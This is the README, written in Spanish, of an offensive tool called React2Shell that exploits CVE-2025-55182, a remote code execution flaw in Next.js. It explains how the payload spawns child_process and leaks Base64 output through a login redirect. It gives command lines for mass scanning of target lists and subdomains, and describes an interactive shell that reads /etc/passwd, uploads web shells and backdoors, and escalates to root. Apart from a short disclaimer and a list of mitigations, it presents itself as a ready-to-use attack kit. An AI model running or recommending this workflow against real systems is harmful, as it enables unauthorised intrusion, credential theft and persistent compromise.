🚨 React2Shell - Framework de Explotación CVE-2025-55182

Framework de explotación avanzado para CVE-2025-55182 (Ejecución Remota de Código en Next.js)
Autor: opsecramdan
📚 Tabla de Contenidos
- Visión General
- Detalles de la Vulnerabilidad
- Características
- Requisitos
- Instalación
- Uso
- Shell Interactivo
- Archivos de Salida
- Impacto
- Mitigación
- Limitaciones
- Aviso Legal
📌 Visión General
React2Shell es un framework de explotación para identificar y explotar la vulnerabilidad CVE-2025-55182 en aplicaciones basadas en Next.js.
Esta herramienta está diseñada como un kit ofensivo integral que incluye:
- Enumeración de subdominios
- Escaneo de vulnerabilidades
- Motor de explotación
- Shell remoto interactivo
🔍 Detalles de la Vulnerabilidad
- ID CVE: CVE-2025-55182
- Tipo: Ejecución Remota de Código (RCE)
- Plataforma: Next.js
- Vector de Ataque: Solicitud maliciosa multipart/form-data
- Impacto: Ejecución arbitraria de comandos
🧠 Causa Raíz
Esta vulnerabilidad aprovecha el mecanismo interno de Next.js de la siguiente manera:
- Inyectar payload en la solicitud
- Invocar: process.mainModule.require('child_process')
- Ejecutar comando del SO
- Codificar la salida en Base64
- Filtrar el resultado mediante redirección (
/login?a=)
⚙️ Características
🔎 Enumeración de Subdominios
- Escaneo DNS + HTTP
- Lista de palabras incorporada
- Soporte para lista de palabras personalizada
- Guardado automático de resultados
🧪 Escáner de Vulnerabilidades
- Pruebas en múltiples endpoints:
/
/api
/api/auth
/_next
/admin
/dashboard
- Análisis de cabeceras y respuestas
- Reducción de falsos positivos
💣 Motor de Explotación
- Generación automática de payloads
- Ejecución codificada en Base64
- Extracción de salida basada en redirección
🖥️ Shell Interactivo
- Ejecución remota de comandos
- Sesión persistente
- Seguimiento de directorios
📂 Operaciones con Archivos
- Subir archivo
- Descargar archivo
- Crear archivo
👑 Modo Root
- Ejecución
sudo -i
- Simulación de escalada de privilegios
📦 Requisitos
Instalar dependencias:
pip install requests dnspython
📥 Instalación
1. Clonar Repositorio
git clone https://github.com/yourusername/react2shell-cve-2025-55182.git
2. Entrar al Directorio
cd react2shell-cve-2025-55182
3. Ejecutar la Herramienta
python3 react2shell.py
🚀 Uso
🎯 Objetivo Único
python3 react2shell.py -u https://target.com
Sin protocolo:
python3 react2shell.py -u target.com
📄 Múltiples Objetivos
python3 react2shell.py -f targets.txt
Ejemplo de contenido de targets.txt:
https://target1.com
http://target2.com:3000
target3.com
🌐 Modo Completo (Recon + Escaneo + Explotación)
python3 react2shell.py -d example.com
Flujo:
- Enumeración de subdominios
- Escaneo de vulnerabilidades
- Explotación (opcional)
📚 Lista de Palabras Personalizada
python3 react2shell.py -d example.com -w wordlist.txt
🐞 Modo Depuración
python3 react2shell.py -d example.com --debug
🖥️ Shell Interactivo
Después de una explotación exitosa, obtendrás acceso a un shell.
Comandos Básicos
whoami
id
uname -a
pwd
ls -lah
⚙️ Comandos Especiales
| Comando | Descripción |
|---|
| .root | Alternar modo root |
| .upload | Subir archivo al objetivo |
| .download | Descargar archivo del objetivo |
| .create | Crear archivo en el objetivo |
| .save | Guardar salida en archivo local |
| .exit | Salir del shell |
📂 Subir Archivo
.upload shell.php /tmp/shell.php
📥 Descargar Archivo
.download /etc/passwd
📄 Crear Archivo
.create /tmp/test.txt
🔄 Flujo de Trabajo de Ejemplo
1. Escanear dominio
python3 react2shell.py -d example.com
2. Identificar objetivo vulnerable
3. Entrar al shell
whoami
4. Subir payload
.upload backdoor.sh /tmp/backdoor.sh
📁 Archivos de Salida
La herramienta generará:
- subdomains_*.txt
- vulnerable_*.txt
- output_*.txt
⚠️ Impacto
Si se explota con éxito:
- Ejecución remota de comandos
- Acceso a archivos sensibles
- Subida de puertas traseras
- Acceso persistente
- Escalada de privilegios
🛡️ Mitigación
- Actualizar Next.js a la última versión
- Restringir endpoints internos
- Validar estrictamente las entradas
- Usar WAF (OWASP CRS)
- Monitorear actividad anómala
⚠️ Aviso Legal
Esta herramienta se creó únicamente para:
- Aprendizaje
- Investigación
- Pruebas de penetración autorizadas
Prohibido su uso para actividades ilegales.
⭐ Notas
Este proyecto demuestra:
- Habilidades avanzadas de explotación
- Comprensión de los internals de Next.js
- Simulación de ataques reales